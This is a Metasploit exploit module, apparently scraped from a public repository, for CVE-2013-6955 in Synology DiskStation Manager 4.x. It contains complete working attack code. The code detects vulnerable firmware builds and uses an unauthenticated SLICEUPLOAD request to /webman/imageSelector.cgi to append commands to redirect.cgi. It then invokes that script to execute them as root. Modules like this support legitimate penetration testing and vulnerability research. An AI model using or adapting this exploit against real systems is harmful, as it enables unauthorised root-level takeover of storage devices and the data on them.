1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 |
## ## This module requires Metasploit: http//metasploit.com/download ## Current source: https://github.com/rapid7/metasploit-framework ### require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient DEVICE_INFO_PATTERN = /major=(?<major>\d+)&minor=(?<minor>\d+)&build=(?<build>\d+) &junior=\d+&unique=synology_\w+_(?<model>[^&]+)/x def initialize(info={}) super(update_info(info, 'Name' => "Synology DiskStation Manager SLICEUPLOAD Remote Command Execution", 'Description'=> %q{ This module exploits a vulnerability found in Synology DiskStation Manager (DSM) versions 4.x, which allows the execution of arbitrary commands under root privileges. The vulnerability is located in /webman/imageSelector.cgi, which allows to append arbitrary data to a given file using a so called SLICEUPLOAD functionality, which can be triggered by an unauthenticated user with a specially crafted HTTP request. This is exploited by this module to append the given commands to /redirect.cgi, which is a regular shell script file, and can be invoked with another HTTP request. Synology reported that the vulnerability has been fixed with versions 4.0-2259, 4.2-3243, and 4.3-3810 Update 1, respectively; the 4.1 branch remains vulnerable. }, 'Author' => [ 'Markus Wulftange' # Discovery, Metasploit module ], 'References' => [ [ 'CVE', '2013-6955' ], ], 'Privileged' => false, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Payload'=> { 'DisableNops' => true, 'Space' => 0x31337, 'Compat'=> { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl telnet', } }, 'Targets'=> [ ['Automatic', {}] ], 'DefaultTarget'=> 0, 'License'=> MSF_LICENSE, 'DisclosureDate' => 'Oct 31 2013' )) register_options( [ Opt::RPORT(5000) ], self.class) end def check print_status("#{peer} - Trying to detect installed version") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri('webman', 'info.cgi'), 'vars_get' => { 'host' => ''} }) if res and res.code == 200 and res.body =~ DEVICE_INFO_PATTERN version = "#{$~[:major]}.#{$~[:minor]}" build = $~[:build] model = $~[:model].sub(/^[a-z]+/) { |s| s[0].upcase } model = "DS#{model}" unless model =~ /^[A-Z]/ else print_status("#{peer} - Detection failed") return Exploit::CheckCode::Unknown end print_status("#{peer} - Model #{model} with version #{version}-#{build} detected") case version when '4.0' return Exploit::CheckCode::Vulnerable if build < '2259' when '4.1' return Exploit::CheckCode::Vulnerable when '4.2' return Exploit::CheckCode::Vulnerable if build < '3243' when '4.3' return Exploit::CheckCode::Vulnerable if build < '3810' return Exploit::CheckCode::Detected if build == '3810' end Exploit::CheckCode::Safe end def exploit cmds = [ # sed is used to restore the redirect.cgi "sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi", payload.encoded ].join("\n") mime_msg = Rex::MIME::Message.new mime_msg.add_part('login', nil, nil, 'form-data; name="source"') mime_msg.add_part('logo', nil, nil, 'form-data; name="type"') # unfortunately, Rex::MIME::Message canonicalizes line breaks to \r\n, # so we use a placeholder and replace it later cmd_placeholder = Rex::Text::rand_text_alphanumeric(10) mime_msg.add_part(cmd_placeholder, 'application/octet-stream', nil, 'form-data; name="foo"; filename="bar"') post_body = mime_msg.to_s post_body.strip! post_body.sub!(cmd_placeholder, cmds) # fix multipart encoding post_body.gsub!(/\r\n(--#{mime_msg.bound})/, '\\1') # send request to append shell commands print_status("#{peer} - Injecting the payload...") res = send_request_cgi({ 'method'=> 'POST', 'uri' => normalize_uri('webman', 'imageSelector.cgi'), 'ctype' => "multipart/form-data; boundary=#{mime_msg.bound}", 'headers' => { 'X-TYPE-NAME' => 'SLICEUPLOAD', 'X-TMP-FILE'=> '/usr/syno/synoman/redirect.cgi' }, 'data'=> post_body }) unless res and res.code == 200 and res.body.include?('error_noprivilege') fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed") end # send request to invoke the injected shell commands print_status("#{peer} - Executing the payload...") res = send_request_cgi({ 'method' => 'GET', 'uri'=> normalize_uri('redirect.cgi'), }) # Read command output if cmd/unix/generic payload was used if datastore['CMD'] unless res and res.code == 200 fail_with(Failure::Unknown, "#{peer} - Unexpected response, probably the exploit failed") end print_good("#{peer} - Command successfully executed") print_line(res.body) end end end |